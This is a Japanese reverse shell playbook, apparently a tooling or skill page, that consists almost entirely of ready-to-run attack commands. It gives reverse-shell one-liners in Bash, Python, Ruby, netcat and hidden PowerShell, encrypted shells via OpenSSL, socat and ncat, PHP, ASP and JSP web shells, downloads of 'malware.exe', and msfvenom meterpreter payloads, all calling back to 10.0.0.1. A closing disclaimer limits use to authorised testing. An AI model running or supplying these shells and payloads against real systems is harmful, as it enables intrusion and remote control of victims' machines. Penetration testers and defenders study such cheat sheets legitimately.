yaklang/reverse-shell-techniques

reverse-shell-techniques は何をしますか？

リバースシェル技術のプレイブック。リモートシェルの確立時に使用します。言語ワンライナー、暗号化シェル（OpenSSL/socat/ncat）、Webシェル、PTYアップグレード、ファイル転送方法、PowerShellシェル、Windowsペイロード生成を含みます。

目次

• はじめに
• 言語ワンライナー
• 暗号化シェル (OpenSSL/socat/ncat)
• Webシェル
• PTYアップグレード
• ファイル転送
• PowerShellリバースシェル
• Windowsペイロード生成

はじめに

このプレイブックは、リモートシェルを確立するための実践的なテクニックを提供します。各手法にはコマンド例と実行時の注意点が含まれています。ターゲット環境に応じて適切な方法を選択してください。

言語ワンライナー

以下は、一般的なプログラミング言語を使用したリバースシェルワンライナーです。

Bash

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Netcat (伝統的)

nc -e /bin/sh 10.0.0.1 1234

Netcat (OpenBSD)

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

暗号化シェル (OpenSSL/socat/ncat)

暗号化シェルは、通信の暗号化とステルス性を向上させます。

OpenSSL リバースシェル

サーバー（リスナー）:

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
openssl s_server -quiet -key key.pem -cert cert.pem -port 4443

クライアント（ターゲット）:

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 10.0.0.1:4443 > /tmp/s; rm /tmp/s

socat 暗号化シェル

サーバー（リスナー）:

socat OPENSSL-LISTEN:443,cert=server.pem,verify=0,fork STDIO

クライアント（ターゲット）:

socat OPENSSL-CONNECT:10.0.0.1:443,verify=0 EXEC:"/bin/sh",pty,stderr,setsid,sigint,sane

Ncat SSL シェル

サーバー（リスナー）:

ncat -lvnp 4443 --ssl

クライアント（ターゲット）:

ncat 10.0.0.1 4443 --ssl -e /bin/sh

Webシェル

Webサーバー上でリモートコマンドを実行するためのシェルです。

PHP Webシェル

<?php system($_GET['cmd']); ?>

ASP Webシェル

<% Response.Write(CreateObject("WScript.Shell").Exec(Request.QueryString("cmd")).StdOut.ReadAll()) %>

JSP Webシェル

<%= Runtime.getRuntime().exec(request.getParameter("cmd")) %>

PTYアップグレード

リバースシェルを完全なインタラクティブな疑似端末(PTY)にアップグレードする方法です。

Python PTYアップグレード

python -c 'import pty; pty.spawn("/bin/bash")'

script コマンド

script /dev/null -c bash

socat PTYアップグレード

ステップ1（ターゲット）: Ctrl+Z でシェルをバックグラウンドにする。

ステップ2（ローカル）:

stty raw -echo; fg

ステップ3（ターゲット）:

reset

ファイル転送

リモートシェルとの間でファイルを転送する方法です。

Python HTTPサーバー

python3 -m http.server 8080

wget/curl

wget http://10.0.0.1/malware.exe
curl -O http://10.0.0.1/malware.exe

PowerShell B64 ダウンロード

powershell -Command "Invoke-WebRequest -Uri http://10.0.0.1/malware.exe -OutFile C:\Users\Public\malware.exe"

netcat ファイル転送

送信側:

cat file.txt | nc -lvnp 4444

受信側:

nc 10.0.0.1 4444 > file.txt

PowerShellリバースシェル

Windows環境向けのPowerShellベースのリバースシェルです。

PowerShell TCP ワンライナー

powershell -NoP -NonI -W Hidden -Exec Bypass -Command "$c=New-Object System.Net.Sockets.TCPClient('10.0.0.1',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){;$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2>&1 | Out-String );$sb2=$sb + 'PS ' + (pwd).Path + '> ';$sbt=([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sbt,0,$sbt.Length);$s.Flush()};$c.Close()"

PowerShell リバースシェル (base64エンコード)

$Text = "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)
$EncodedText =[Convert]::ToBase64String($Bytes)
powershell -EncodedCommand $EncodedText

Windowsペイロード生成

Msfvenomを使用したWindowsペイロードの生成方法です。

Windows Reverse TCP Stager

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe -o shell.exe

Windows Reverse TCP (HTTPS)

msfvenom -p windows/meterpreter/reverse_https LHOST=10.0.0.1 LPORT=443 -f exe -o shell.exe

64ビット Windows ペイロード

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe -o shell64.exe

PowerShell ランチャー (Base64)

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f psh-reflection -o shell.ps1

免責事項

このプレイブックは、許可された環境（例：ペネトレーションテスト、バグバウンティ）での教育目的のみで使用してください。不正アクセスは法律違反となる可能性があります。

ライセンス

MIT License